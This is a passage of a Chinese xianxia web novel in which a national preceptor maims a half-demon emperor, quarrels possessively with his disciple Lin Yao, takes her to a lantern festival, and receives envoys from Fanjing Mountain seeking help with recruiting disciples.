话未说完,他那只捏着林瑶下巴的右手手腕上出现了一圈血线,林瑶眼前一片血光散开,只看到有一团血肉模糊的东西掉在了地上,再定睛一看那居然是一只手,齐腕骨的地方断裂,截面整整齐齐仿佛一刀切的血豆腐,鲜血立刻流了一滩,那手指似乎不甘心地弹动了一下,随后彻底失去生机……
林瑶吓呆了,木雕泥塑般一动不动,被尹星灯猛一把拽到了自己身后,他手心里灼热的温度顺着手掌传遍她全身,于是,惊惧的心脏不再狂跳,纤弱的身体不再战栗,脚下重新生长出气力,凄冷的双眸看向那熟悉的侧脸,胸中颓然涌上一股悲哀……
为什么,总是他在自己最无助的时候挺身而出呢?
墨玉沉右边袖子满是鲜血,眸底却散发着狠厉的绿光,死死瞪着尹星灯,惭愤欲狂。
“尹渊!你好大的胆子!居然敢行刺孤王,来人啊!给孤王杀了这个反贼!”
“五马分尸!孤王要将你五马分尸!”
墨玉沉暴跳如雷,扶着龙椅大口喘着粗气,像一头被激怒的狮子,似乎随时都会冲上来将敌人撕成碎片。
林瑶惊恐地看着墨玉沉眼底的绿光,颤声提醒尹星灯道:“师父,他他是妖……怎么会这样……”
面对墨玉沉的嘶喊咆哮,尹星灯却是好整以暇,还有时间跟林瑶解释:“不算是完整的妖,是个半妖。”
林瑶错愕至极:“怎么会,他明明是人啊,怎么会变成妖,莫非是被什么东西附身了?”
尹星灯手中白光乍现,星芒如同牢笼一般死死困住了目眦欲裂、咆哮不止的墨玉沉,这荒淫残暴、色厉内荏的昏君捂着血如泉涌的断臂扯着嗓子朝殿外嘶吼:“你们都死了吗!来人!来人啊!有人要弑君了!”
寂静如死,没有一个人进来。
尹星灯淡淡向林瑶解释道:“琅嬛古国传承千年,历代帝王与妖族、魔族抗争,渐渐探索出了一套属于帝王的护身功法——龙吟经,可惜某人心术不正,用阴谋诡计登上宝座终究不能长久,这龙吟经练到走火入魔便是这副鬼样子了。”
林瑶看着墨玉沉在血泊里翻滚,脸颊上渐渐出现细细密密的鳞片,她全身发麻,迅速别过了头不敢再看。
就在这时,一连
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串压抑不住的颤抖哭声从龙床底下传了出来,尹星灯原本要走的动作一顿,左手无名指指根处一道银丝蜿蜒如蛇,眨眼间游曳出去的一端探入床底下将里面的人拽了出来。
不过是个十二三的男孩,穿了一身华贵的滚蟒锦袍,还想往桌子下钻,手脚并用地往前跑,流水似的黄色液体顺着裤脚往下流。
尹星灯走过去,单手将这孩子提了起来,少年在他手里如同待宰的羔羊,身子抖如筛糠,豆大的汗水顺着下巴往下淌。
“站稳了,储君要有储君的样子。”
尹国师满脸慈爱地拍拍太子的肩膀,太子“哇”一声哭了出来:“国师饶命!国师饶命!孤什么都没看见……什么都没看见……”
被吵得心烦意乱,国师拧起了眉尖,微笑着看向太子:“再哭?”
太子抽了一下,左手叠右手死死捂住了自己的嘴。
尹星灯拉着林瑶的手往外面走,向来淡漠的声音带了一丝戏谑:“可是吓到了?为师说过,你秉性柔弱不适合外出闯荡,今日这场面就已经吓得脸色发白,日后可怎么是好?”
林瑶依旧是心慌意乱,双目失神,任由尹星灯牵着自己走。
“可我还是不明白,练功走火入魔怎么会变成半妖呢……”
尹星灯看着脸色愈发苍白,看样子随时会晕厥过去的林瑶,忽然停下脚步,双手按住了她的肩膀:“其实你能猜到,不妨大胆说出来。”
林瑶逃避似的使劲摇头,用力挣扎起来,奋力推开尹星灯,险些摔倒在地,她慌慌张张往天牢的方向跑去,还没跑几步被尹星灯死死环住腰从身后抱住。
“这么害怕还要去看?”
林瑶在他怀里无力地挣扎着,仿佛被提起耳朵的兔子,再怎么抵抗也是枉费力气,她声嘶力竭道:“你早就知道对不对!你知道墨玉沉已经妖化了……为什么不告诉我,为什么要让那么多无辜的人受牵连!”
她想起了传言里那个孩子,那是她长姐期盼了多久的孩子啊,怎么会这样……
尹星灯听着她含泪泣血的控诉面不改色,将她的肩膀扳过来面向自己,屈指擦去她满脸的泪痕,淡声道:“彼时墨玉沉气数未尽,天命所归,贸然对他动手恐引起不必要的变数。”
林瑶死死咬着嘴唇,通红着眼眸看向他,忽然发狠地推开了他,她的肩膀不停颤抖着,似乎是被抽干了所有力气踉跄退后几步:“天命,又是天命!你从来都是这一套说辞!我真是,后悔拜你为师,你不配!”
尹星灯向来波澜不惊的面容在听到最后三个字时,仿佛一张纸被撕裂了,他抢上前一把攥住了林瑶的手腕,腮边肌肉颤动着,艰难地呼吸着,眼眸有些腥红,带了些许潮湿……
“你有什么资格高高在上地指责我!你知道当初墨玉沉要娶的人是谁吗?为师为了护着你费了多少心血!到头来却落不下一点好,你非要狠狠吃一次亏才能清醒过来是不是!”
林瑶茫然地看着他,继而摇摇头,依旧带着怒气:“就算他选择的人是我,我也不会任由他摆布!更不会让……让我的姐姐替我去送死……”
尹星灯气极反笑:“林瑶,你修无情道就修成了这副模样?大道无情悲悯众生,可你呢?你就这么糟践我的心意?还是你觉得,我的付出只是一厢情愿,你根本不稀罕,所以可以有恃无恐,不用顾忌我的感受?林瑶,我是个人啊,我也会……会难过,会心痛,你可知你这般伤我多深吗?”
听着这般锥心泣血的指责,林瑶渐渐没了声音,她茫然无措地低下头,先前那股理直气壮的火焰仿佛被一盆冷水浇灭了。
好像的确是这样,是她太过分了吗?那现在该怎么办?要道歉吗?可是这么严重的创伤道个歉好像意义不大……
尹星灯微微闭上眼,见林瑶情绪不再激动,刚想上前忽然身后传来一个熟悉的声音,在对方刚喊出一声“师父”时他已经干脆利落地打断了。
“滚,看不到为师忙着吗?”
宫玄烛气得在心里骂遍了尹星灯八辈祖宗,忙你妹啊!眼看着都要改朝换代了你就在这儿跟一个年龄还没你鞋码大的小姑娘吵架?
她翻了个白眼,没好气道:“前朝一群老不死的在商议新君人选,人脑子快打出狗脑子来了,到时候外戚专权、江山改名换姓了可别说我没提醒你!”
尹星灯思量再三,看看失魂落魄的林瑶打算再给对方下一剂猛药,熟练地摆出一副受伤脆弱之态,轻叹一声黯然四十五度仰望天空:“为师先去处理别的事务,至于皇后那边,我会酌情处理,过继七皇子和九公主承欢膝下,你先去开导一下她……”
他轻叹一声落寞离去,在转身的一刹那嘴角勾起势在必得的微笑,哼,为师都为你做到这份上了,良心过得去你就继续抱怨我吧。
尹星灯自以为算无遗策,但是忘了旁边还有个搞事的。
37. 她一回来,他就整活
宫玄烛托着腮蹲在了看似已经真魂出窍的林瑶身边,林瑶两眼发直盯着地板,自言自语般道:“我以后大概再也没办法像从前一样毫不留情地拒绝他了……”
宫玄烛不以为然,鼻子里溢出一声冷哼,伸手拍拍林瑶的肩膀,看着尹星灯离去的背影摇摇头:“最低劣的道德绑架手法,不是我说你,你又不是圣人你只是个人,是人就会有私心,多少为自己考虑一下吧,难不成你还真想答应那混账师父的无理要求啊?”
林瑶第一反应就是摇头,宫玄烛欣慰地点点头:“这不就对了,坚持自己认为对的事就好,记住,你虽然欠他的人情,但不欠感情,还人情的方式有很多种啊,比如给对方送个小礼物、帮他办件事儿、请他吃顿饭,差不多就行了呗,所以呢,我特别不喜欢红线坊新出的几套书,动辄就是救命之恩以身相许,当我们女人是智障啊,就好比对方给你一只桃,你拿一筐李子去还,最后不仅连筐送给他了,还把家里房契地契顺手塞筐里了,你愿意做这样蠢的女人吗?”
林瑶连连摇头、一脸惊惧:“我不愿意!”
宫玄烛拍拍她的肩膀:“孺子可教也,你不像陌菱那家伙,十头牛拉不回来啊,我这思想辅导课免费给她上了二十几节了,愣是一句没听进去,我真是感到前所未有的挫败。”
林瑶拿手帕擦了擦脸上快干涸的泪痕,眸中露出疑惑与探究:“思想辅导课?”
宫玄烛笑着伸出手:“对啊,上课不交学费嘛林瑶同学?一节课十文,价格公道童叟无欺哦。”
林瑶被对方过分正义且理所当然的眼神镇住了,真就从自己的手链上取下一颗颜色纯正到没有一丝杂质的灵石递到了她手里,全程眼睛都没有眨一下地看着宫玄烛的脸。
宫玄烛一点都不脸红地接过这颗上品灵石,一边对林瑶笑眯眯说再见,一边在心里疯狂吐槽咒骂尹星灯。
妈的你还是个人?上次跟你借两颗灵石修补我那身经百战、风烛残年的老魂灯你说没钱,转头就拿上品灵石给林瑶穿手链!死舔狗!我祝你舔到最后一无所有!
不过话说回来……
宫玄烛侧目看看傻白甜大师姐,心里盘算着要不要反其道而行之,把林瑶打包卖给尹星灯,然而让他把整个星辰宫转让给我,简直是两全其美,各取所需,美哉美哉……
还不知道自己马上要被同门师妹卖了的林瑶款款走了过来,因为前不久才哭喊过嗓音略显沙哑。
“玄烛,你那个阴桃花的事情怎么样了,需要我帮忙吗?”
宫玄烛勉强从发财的梦里醒来,清咳几声:“这个嘛,小事一桩,差不多解决了吧。”
林瑶好奇道:“你怎么做到的?那个阴桃花好像挺棘手的,我上次跟师父提起,他还以为是我撞上了桃花煞,非要在我房间里建法坛,跟他解释了好久他才弄清楚,说会帮你处理的……”
宫玄烛攥紧了拳头,骨节咔咔作响,冷笑两声:“他就是随口敷衍你两句听不出来吗?他的时间都用来修炼舔狗秘籍了,哪有空管我的死活啊,不过你也不用担心,我之前说过帮他抱得美人归这屁话撤回,林瑶,你还想不想获得自由了?我这有本故事集免费送你了。”
林瑶接过书打开一看……民间故事集……白蛇传……仙女湖……
林瑶道了谢,收起书先去桐华宫看望皇后……她还是面容憔悴,林瑶跪在床前侍奉汤药,轻轻握住她骨瘦如柴的双手,皇后不肯喝药,她就这么一直跪着,皇后叹息一声,最终还是妥协了,她整个人仿佛一下苍老了十几岁,但幸亏尹星灯没有把墨玉沉妖化的事说出来,只是说皇后怀孕期间冲撞了妖物,导致胎死腹中,被妖物借腹降生,而真相是,她本来就是怀了一个妖的孩子……
林瑶每日都会去凤仪宫看望皇后……现在应该是太后了,有七皇子和九公主承欢膝下,太后的病体渐渐好转,一心扑在了这两个孩子身上,但林瑶看到她有时候望着这两个孩子出神的目光不免暗暗唏嘘世事无常,长姐心里定还是想着自己那个可怜的孩子的。
为什么大家都没有做错,结果却是这样的,尹星灯将一切归于天命,林瑶却打心底里不承认,她不相信有什么天命,至少现在不信。
她站在一侧看着太后在佛堂里虔诚地跪拜祈福,心里不禁感慨,或许神佛就是人们心底最后的一根支柱吧。
她回到星辰宫时已经暮色渐和,换完衣服坐在床边摸到了宫玄烛给她的那本民间故事集,这几天总是担心长姐的精神状况,她也是许久没有放松下来了,于是斜倚在床上,单手支着额头翻开书细看了起来。
白蛇传讲的是一条为了报恩的白蛇化作美女嫁给了姓许的郎中,后来郎中发现妻子是蛇精就躲去了寺庙里,白蛇去找丈夫被和尚收进了钵盂里,许郎中以为自己安全了,心有余悸地回家,途中发现身后有悉悉索索的响动,一回头发现是一条气息奄奄、伤痕累累的白蛇,白蛇发现他回头看自己,嘴里发出十分哀怨的女子哭泣的声音:“相公……救救妾身……相公……”
郎中吓得手脚冰凉,被白蛇追得慌不择路地逃跑,最后被白蛇如怨如诉的哭泣惹火了,一回头面露狰狞,拿一根藤条发疯般往白蛇身上抽去、边抽打边用脚踩……不知过了多久,他满头大汗地跌坐在了地上,长舒了一口气。
林瑶看完这页只觉得浑身汗毛都竖起来了,霎时间就被这猎奇的故事书吸引住了,跟她以前看的故事完全不是一个套路,难道,难道正确的版本不应该是白蛇和郎中真心相爱,最后白蛇被囚禁在塔中,郎中为她出家做了和尚吗?
她迫不及待又去看下一个故事。
某某山,某某村,距离村庄百里之外有片小树林,林子里有片清澈的天然温泉,这片温泉被天上的七仙女发现后,仙女们经常来这里洗澡。
这个村子里有个贫苦的男子,天天去野外放牛,这头牛也了不得,是头会说话的牛,它告诉牛郎,每个月十五的傍晚会有一群仙女来林中温泉里沐浴,他可以偷走其中一个仙女的衣服,胁迫她嫁给自己。
牛郎心思活络很快就摸索到了仙女湖附近,并且拿走了仙女的羽衣,没有羽衣的仙女飞不回天宫,被迫留在小山村里为牛郎生儿育女,无论仙女对牛郎多好,牛郎始终不肯将羽衣还给她。
后来遇到灾荒,牛郎愈发贫困,几乎吃不上饭,他只好杀了老黄牛充饥,老黄牛临死前将牛郎藏羽衣的地方告诉了仙女,仙女趁着牛郎外出便拿出羽衣毫不犹豫地飞走了……
林瑶看着故事结尾久久没有翻动下一页,师父给她讲的牛郎织女的故事不是这样的啊!
这本书虽然看起来充满了血腥邪恶的元素,但貌似更贴合现实、符合人性……
尹星灯看林瑶的房门开着就进来了,见对方斜倚在床上翻书,鬼使神差地走了过去,大致将那书的内容扫了一眼,原本轻松愉悦的神色刹那间垮了下来,咬牙问道:“瑶儿,这书哪里来的?”
他忽然出声吓了林瑶一跳,抬眼一看是师父来了,连忙起身端正仪态,正好满腹疑问,于是反客为主道:“师父,为什么这本书里的白蛇传和牛郎织女跟现在流传的故事不一样呢?”
尹星灯听她那个?伸出了手,板正了脸色:“没收。”
林瑶条件反射地将书藏在身后:“为什么?”
尹星灯面不改色心不跳,一本正经地胡说八道:“这书太过邪恶了,血腥恐怖不适合你看,若是无聊为师等会儿找几本童话书你慢慢看。”
林瑶气得咬紧牙关,无可奈何地一跺脚:“我不看豌豆公主……”
尹星灯默默点头:“哦,也对,那书你三岁的时候就看过好几十遍了,那为师再帮你改编一下,蚕豆公主、土豆公主行不行?”
林瑶抬手掐着人中,生怕自己气晕过去,生无可恋道:“我把书给你,你别折磨我了……”
尹星灯得偿所愿地接过书,看着徒儿了无生趣的模样微微噙笑,伸手去摸她的头被对方躲开了,他也不生气,依旧笑意浅浅:“文渊阁以后随你进出了。”
林瑶仿佛蔫了的花骨朵立刻又支棱起来,看着尹星灯手里一枚金灿灿的令牌简直眼睛冒光,这当然是对知识的渴求。
“那就多谢师父了……”
她伸手去拿令牌,对方闪了她一下,笑得不怀好意:“这就完了?怎么也得来点实际的吧?”
林瑶“哦”了一声,回头去自己的梳妆台上翻了一会儿,抱了个沉甸甸的匣子过来,尹星灯两眼一黑,好吧,好吧,这也算是他的教学失误,豌豆公主看多了给孩子看魔怔了,脑壳里的水一时半会也倒不干净,没事没事,循循善诱还是可以弥补的。
“要不,你亲为师一下,文渊阁令牌就给你,怎么样?”
林瑶惊恐地摇摇头:“不怎么样。”
尹星灯挑眉,继续灌迷魂汤:“书你不想看了吗?”
“我觉得我可以跟别人去换一个令牌……”
尹星灯忍无可忍地拉着她的手往外面走去,林瑶还在垂死挣扎。
“师父,天都黑了你要带我去哪儿……”
“谁规定天黑了就不能出门了?还有,私下交易官方凭证在咱们这个洲不合法,趁早打消这个念头吧。”
林瑶抿着嘴不说话了。
玄都的夜无疑是人间天堂,火树银花不夜天,五光十色的走马灯令人眼花缭乱,街头小吃惹得顽童驻足不前,满楼红袖招惹纨绔公子流连忘返,时不时又有花前月下窃窃私语的少男少女,而尹星灯紧紧拉着林瑶的手,仿佛生怕
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拥挤的人潮将他们冲散。
尹星灯似乎意兴很浓,指着一家茶坊道:“不如去喝杯茶?”
林瑶含蓄点头:“师父若是想去弟子随行就好,只是晚上喝茶影响睡眠,不如明天下午再来吧?”
尹星灯好言相劝道:“瑶儿,其实偶尔放纵一次没关系的,你这般循规蹈矩的生活岂不是很无趣吗?”
林瑶一脸认真地否决:“弟子不觉得无趣,反而觉得这样的习惯对修行大有益处,要不今天就到这儿吧?”
按照往常,这个时辰她应该在打坐,然后沐浴更衣就可以舒舒服服地窝床上看书,而不是在街上挤在人山人海里寸步难行。
尹星灯想不出反驳的理由,不悦地捏捏她的手,林瑶微微蹙眉不再多嘴。
尹星灯不知何时买了盏莲花灯递向她,眸底满含期待:“瑶儿,陪为师去放河灯吧。”
绮霞池畔的确有许多人在放河灯,水面上倒映着灯火辉煌的亭台楼阁,上面漂浮着各式各样的河灯,妖童媛女或蹲在池边拨水推灯、或双手合十虔诚许愿。
林瑶大概扫了一眼,忽然想起了宫玄烛,前不久她还骂骂咧咧道:“妈的这群人真的屡教不改,都说了那池子里的金莲花比病西施还脆弱,我嘴皮子磨破了愣是不听,没事就放河灯,你咋不往自家水缸里放呢?我二哥天天回家跟我倒苦水,人家工部官员赶上天天在池子里捞那些破花灯了!”
林瑶想到这里劝尹星灯道:“师父,其实我不想——”
“你想。”
林瑶话没说完已经被尹星灯拽到了绮霞池畔,群众自动让开了最佳观景区域,并且眸露崇拜地瞻仰着国师大人的风采。
即便经历过许多次,林瑶还是会尴尬地无地自容,她不想成为焦点啊!
尹星灯将河灯递给了她,笑眯眯道:“瑶儿,许愿吧。”
林瑶只犹豫了一下迅速接过来,抱着河灯用指尖灵光在上面迅速写了几个字,行云流水地放进了池子里,站起来露出招牌笑容:“好了,我们走吧。”
整个过程三十秒不到,真是风一样的女子。
尹星灯也不问她许了什么,反正那花灯最后他也会捞上来的。
把林瑶打发到旁边的小亭子里去体验非遗缠花工艺,他来到池边手指一勾,池子里静静漂浮的花灯堆里,一只白莲灯飞回了他手里。
让为师看看你到底有什么样的小心愿……
花灯上两行半略显潦草的行楷小字:抱歉宫二公子,形势所迫,我不是故意给你增添工作量的。
花灯被恼羞成怒的某国师一把捏成了碎片,怒气冲冲走到银汉亭里,看到林瑶坐在摊主对面,正在认真地缠花,左手掐着铜丝和一片花瓣贴片,右手食指绕着一根绯红的绒线,贴合着贴片形状灵巧地上下翻飞,线圈之间紧密排列,恰如鲜花之上的天然纹理。
她做事总是很专注,下垂的睫毛许久才会轻轻扇动一下,等一支花缠完收尾,她才抬眸,蓦然惊觉身边有人,立刻站了起来,而尹星灯注视着她白皙指尖捻着的那支过分翡丽的缠花,眸光微动。
“瑶儿做的这支是什么花?”
林瑶忽然记起宫玄烛说过,欠的人情可以用小礼物偿还,眼下岂不就是机会?
于是手里的缠花递了出去,她轻声道:“这是海棠。”
尹星灯显然瞳孔一震,缓缓伸手去接,一手紧紧捏着海棠花,一手穿过林瑶腋下环住那段纤腰将她死死按进自己怀里,声音轻颤:“这是特意做给为师的?知我者莫过瑶儿,星辰宫没有一株海棠,你如何得知为师喜欢海棠呢?”
林瑶已经从他手里挣脱了,理了理自己被弄乱的衣服和发丝,由衷道:“我怎会知道,随便做的。”
尹星灯笑意更盛,拿手里的花轻轻点了一下林瑶光洁的额心:“随便一做就让为师这般开心,看来瑶儿果然与我心有灵犀。”
缠花收尾处的铜丝被尹星灯折成一个环形,那支海棠缠花被他戴到了左手中指上,怎么看怎么伤风败俗……林瑶不忍直视地别过了脸。
“国师!”
这尖细的嗓音一下穿透了人墙,师徒两人齐齐回首,只见一个红衣太监扶着帽子满头大汗地拨开人群跑到近前,跪地施礼,气喘吁吁道:“国师大人,有位自称是什么梵净山的弟子,在星辰宫没找到您找到宫里来了,奴婢已经暂且将人安置到鸣鹤馆了。”
尹星灯微微点头,随后看向林瑶,低声道:“瑶儿若是累了为师派人送你回去,还是你想随为师一起去见见这位梵净山的使者?”
林瑶还没有怎么见过别派弟子,印象里只记得潮汐宫的人,对梵净山无比地好奇,于是点头道:“弟子想随师父去见见梵净山的使者。”
“也好。”
38. 梵净招生
尹星灯微微颔首朝那太监示意,太监立刻招呼人将车马赶过来,伺候那师徒二人上了车往宫中赶去。
尹星灯问道:“来了几人?年岁如何?可说是为何而来?”
外面驭座上的太监恭声答道:“回国师大人,来了两人,一男一女,都是十八九岁的模样,只说是领师尊之命求见国师,余者只字未提。”
尹星灯淡淡“嗯”了一声面向林瑶:“看来是两个小辈,瑶儿不必紧张,从容应对即可,咱们星辰宫的弟子也不差,莫要怯场。”
林瑶点点头,眸底显然闪过些许期待的光芒,随后瞥向尹星灯指根的海棠花,略有些尴尬地提醒道:“师父,这个还是先取下来吧……”
尹星灯看着她随即了然一笑,只见那杏叶大小的缠丝海棠化作一枚浅金色戒指,戒指上的五瓣海棠犹如璀璨的红宝石,花瓣边缘有金丝缠绕,颇为精致玲珑,如此环贴在他肤白骨润的指根,红者愈发鲜妍明媚,白者越发苍冷清贵。若这戒指有灵性或许都要引以为豪,能佩戴在此人身上是自己修了几辈子的福分。
而本人盯着林瑶的眸光灼灼,仿佛在说“为师都听你的”,某弟子顿感无地自容,被盯得丢盔弃甲别过脸看向车窗外。
由宫人提着灯带领着进入鸣鹤馆,尹星灯在前,林瑶在侧后方跟随,宫女通报了“国师驾到”之后,林瑶看到客厅里东边椅子上并排坐着的两个人站了起来,几乎是同时拱手行礼,身上梵净山弟子校服穿得整整齐齐,天青色交领广袖衫外面罩着一层如烟似雾的白色薄纱,系着绣有洁白六瓣两重莲的靛青色掐银边腰封,轻盈中又不失端庄,一举一动广袖飘飘,亭亭如湖中净莲,大概是顾忌礼仪身上却不见佩戴法器。
两人异口同声道:“梵净山弟子叶斐(盛祁星)拜见宫主!”
尹星灯浅垂腰间的手展平微微向上一抬,声音带着几分冷肃脸上却又带着一丝浅淡的笑意:“两位小友不必如此拘礼,都是自家人,请坐。”
林瑶许久没见正经成这样的师父了,求两位仙友多在星辰宫待几天吧!
尹星灯落于上方主座,林瑶刚在他身后站定,尹星灯侧目向那两人道:“这是本座的大弟子林瑶。”随后向林瑶微抬下巴示意。
林瑶款款自他身后走出行至叶斐、盛祁星面前,那两人又连忙站起,相互施礼问好。
“叶师兄、盛师姐好。”
“林师妹好。”
见面过后步入了正题,三人各自落座,尹星灯接过宫女奉上的香茶,单手扣着微烫的茶盏在手中轻轻摇晃,状似随意地问道:“叶掌门可还好。”
右侧首座的叶斐微微颔首,语气平缓地笑答:“家师一向都好,派中事务虽多但好在有各位师叔辅佐,也算条理有序。”
尹星灯又道:“两位小友远道而来,想必是有要事?不妨直说。”
叶斐侃侃而谈,显得从容不迫,颇有名门大派首席弟子的风范:“尹宫主料事如神,果然如此,只因我派自十九年前于槐荫镇一战中损伤惨重,如今更是三峰无主、派中弟子凋零,是以掌门与诸位师叔商议招收新秀、举行雨露试炼,诚邀天下英才参会,久闻宫主担任朝中要职,出将入相、统辖宇内,还请宫主协助我派宣传造势,届时若宫主愿赏光参会,我派欢迎之至,必当扫榻相迎。”
尹星灯忍着想打断的冲动听这位小叶同学转文,简直想吐血,叭叭叭一长篇下来一句话就能概括了:我们要招新弟子了你给打个广告吧!
那名女弟子盛祁星从袖口里摸出一份靛蓝色小册子并一份书信双手奉上,恭声道:“这是我派叶掌门亲笔所书的请柬以及蘅泽君亲笔书信一封,请宫主惠见。”
林瑶连忙接过转交给了尹星灯。
尹星灯先打开那封请帖看了看,大致跟叶斐所说的相差不多,只不过更加凝练概括、措辞得体、语气诚恳,落款盖了两枚金印,一枚是梵净山六瓣两重莲的门派图腾,另一枚自然是掌门叶静秋的私印。
那份信尹星灯没有现场拆开看,而是揣进了袖子里,既然是宋霜写的,无非是一些私事。
尹星灯将请帖微微向旁边一递,林瑶上前一步接了过去,他这才抿了口手里的茶,淡然道:“叶掌门抬爱了,尹某不过红尘之中一富贵闲人,哪有那么大的本事能振臂一呼应者云集?”
听了这话叶斐与盛祁星对视一眼,前者还算镇定,后者却有些坐不住了。
尹星灯又恰逢其时道:“不过,既然是叶掌门与诸位仙僚错信,两位小友又千里迢迢送信过来,某虽不才,愿竭驽钝。”
叶、盛二人一听这话齐齐起身拱手:“晚辈代梵净山谢过宫主,有劳清神。”
尹星灯笑道:“两位远道而来,于情于理也该在星辰宫做客几日,也好让尹某尽地主之谊,还望两位莫要推辞。”
叶、盛两人对视一眼又齐齐拱手施礼:“既是宫主盛情相邀,晚辈恭敬不如从命,多有叨扰了。”
回星辰宫的路上,尹星灯独乘一车在前,林瑶跟叶斐、盛祁星三人乘车在后,林瑶又道了辛苦,询问两人有何忌口、喜好,那二人也问候几句,本就年纪相仿,一来二去就熟悉起来了。
叶斐看向温柔娴静的林瑶,眸光微含欣赏之色,温声笑道:“说起来,祁星你跟林师妹所修同属占星一脉,你们二人应该有的聊了。”
盛祁星微嗔道:“师兄你不要瞎说,我师尊早就把占星术遗弃了八百年了好不好,现在一心扑到炼器上去了,简直是两耳不闻窗外事,一心只造废铁炉,苦了我们摇情峰的弟子,天天被丢出去挖矿石,我这手都快起茧子了。”
林瑶掩唇一笑,眉眼弯弯:“没想到美名在外的摇情君还有这样的一面,倒是性情中人,只可惜林瑶暂时无缘得见。”
盛祁星摇摇头:“岂止是他,我感觉梵净山的峰主就没几个正常的,三师伯一讲话第一排恨不得打伞听,还好意思腆脸问我为什么带面纱?严肃的简直跟活阎王一样,一节课憋到肚子疼愣是不敢上厕所,洒脱的又太过放纵弟子,导致大家天天逃课,还有个最不靠谱的花小师叔,讲个课东拉西扯三纸无驴,他倒是人缘好,就是没一个顺利结课的,别人都是知识里有水分,他是水分里有知识。”
盛祁星回忆起这位奇葩花小师叔授课的模样简直能当场吐血,当初她初生牛犊不怕虎,举手激情开麦:花师叔,您这么水课程掌门真的没有意见吗?
当时那位奇葩峰主微微一笑道:这位同学提出的问题非常的好,至于掌门为什么要选我授课呢,这个问题还要从很久很久以前说起,当初啊……这就是为什么我们梵净山一直坚持吃素的原因,说起这个我还是得说道掌门两句,咱又不是兔子,说起这个兔子,你们十师叔养的兔子到底是让谁烤了?你说说你这孩子……你怎么能吃独食呢?下不为例啊,下课!
叶斐忍不住扶额,可怕的是盛祁星说的全是实话,虽然但是,师妹你倒是顾及一下咱家长辈们的颜面啊!
看着师妹还在发牢骚忍不住打圆场,悄悄拉她衣袖:“师妹啊,我们此行是来招生来了,不是给梵净山抹黑来了……”
盛祁星不动声色地拽回自己的衣袖,娇嗔一声:“林师妹又不会加入梵净山你怕什么,到时候我们去忽悠别的怨种不就行了?”
紧接着她一拍车壁,义愤填膺:“说起花焚熠我就来气,要不是他我那门南蘋洲语言学就不会挂,害我竞选门派首席失败了!真是气死我了,活该他被取消授课资格!”
叶斐后知后觉想起一件事,盯着还在生闷气的盛祁星,忍不住问道:“师妹,掌门收到的那些举报信里是不是也有你的份?”
盛祁星冷哼,大大方方地承认了:“没错,八百多封恶意差评和投诉信都是我写的,摇情峰牌活字印刷机你值得拥有。”
叶斐感到一阵恶寒,发誓以后惹谁都不惹女人,尤其是旁边这个叫盛祁星的女人。
几个人说说笑笑便到了星辰宫,林瑶给这两人安排食宿,忙完之后还没来得及回自己房间就被尹星灯半路截胡了,国师的脸色黑沉如锅底,捏着林瑶手腕的力道大得出奇,林瑶忍不住蹙眉,一声“师父”没喊出口,对方先发难了。
“说,你跟那两个人在聊什么?有那么开心吗?怎么平时跟为师说话就不见你这般开怀,还是说,你对那个叶斐心生好感了?”
他越靠越近,说到最后眼睛里已经泛起了血色,简直恨不得将林瑶生吞活剥了。
林瑶连声解释道:“我没有,师父你误会了,我是在和盛姑娘说话,不是你想的那样!”
尹星灯余怒未消,抬手捏住了林瑶的下巴,强迫她抬头看向自己:“最好是这样,后天我就打发这两个人回去,明天你带他们去城中走走……”
说到这里他微微眯起眼睛凑近林瑶低声道:“若是让我发现,你跟那个叶斐有什么过分的举动,你知道后果。”
林瑶忍着下颌传来的剧痛,勉强应是,尹星灯这才松手,闭上眼睛深呼吸几次调整情绪,意识到自己可能是太过草木皆兵了,林瑶修无情道,没有那么容易对别人动情……
看着站在旁边默默揉着手腕的林瑶又忍不住怜惜起来,轻轻执起她的手,温声软语地安抚:“对不起瑶儿,为师不是故意的,我只是,只是太害怕你会被别人抢走了。”
他一脸无辜,林瑶无语至极,忍不住讥讽了两句:“师父多虑了,弟子又不是传国玉玺,哪里值得别人争来抢去。”
尹星灯忍不住莞尔一笑,屈指刮了一下林瑶的鼻尖:“你啊,跟玄烛学坏了,哪有这么噎师父的?在为师心里啊,我的瑶儿比传国玉玺可宝贝多了,拿九洲跟我换都不行。”
翌日,尹星灯自去上朝,林瑶陪客人用完早膳询问他们是否想去城中参观,得了肯定的答案后三个人便出发了,林瑶在晚上便做了功课,打算上午带叶斐他们去城西的蓝音寺,中午去慕雅轩吃饭,下午便回星辰宫休息,等到晚上再去绮霞池一带游玩。
蓝音寺建寺至今八百年之久,几乎占了城西一半土地,属于皇家寺院,历代帝王都有出资修缮,至今依旧气势恢宏,维持着古早风貌,叶斐、盛祁星两人果然目露惊喜之色。
林瑶适时做一点介绍,多半是这两人在自主参观。
她轻声道:“第一间大殿是天王殿,中间是释迦牟尼,再往后一间是大悲殿,最后面是万佛塔。“
她微微仰首看向前方,一座高出前三间大殿的高塔赫然在目。
叶斐和盛祁星看得很仔细,眸露欣赏,赞不绝口,却并不跪拜,林瑶倒不觉得意外,许多门派都有自己信仰的祖师、神明。比如芙蕖观就信奉三清祖师这些道教神仙;潮汐宫以及他们的附属门派流光宗信奉第一代洛神曲淋漓;梵净山则信奉开创慈悲道的释怀璧、帝香音等先辈,宗旨就是梵音渡世、三千世界什么的,大概属于另一支佛教,具体林瑶也不太懂,而自家星辰宫信什么林瑶就更是云里雾里了,偶尔问起,尹星灯就随口敷衍:
信什么?信为师就好啊。为师神通广大有求必应,
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岂不是比那些木雕泥塑更灵验?
梵净山弟子是不沾荤腥的,幸亏昨天林瑶早有了解,在慕雅轩安排了一桌精致可口的素菜,煎炒烹炸都有,盛祁星简直泪流满面,她好久都没吃到这么好吃的饭菜了,想当初她被师尊匡月忽悠上梵净山,说好了峰主首席,食宿全包、单人单间、四菜一汤,哪里知道其中大有文章,你家四菜一汤是小葱拌豆腐、豆腐拌小葱、豆腐拌豆腐、小葱拌小葱啊?看到最后一道葱花汤时四岁的盛祁星哭了。
“师尊,我要回家!”
匡月一脸严肃道:“不可以,你我已经有了师徒之名,你只能是我摇情峰的弟子,非要退门派的话先交五千灵石的违约金,而且学费我是不会退给你的。”
若不是梵净山名声在外盛祁星都怀疑自己遇上土匪了!
林瑶单手撑着下巴,百无聊赖间一道灵光又飘进了窗户里,紫色的小纸鹤飞上了她的胳膊,三两下踩着衣袖堆叠起来的褶皱跳到了她的肩头,尹星灯的声音传进了耳朵里,当然只有林瑶一个人能听见。
“瑶儿,为师很是想念你,怎的还不回来?”
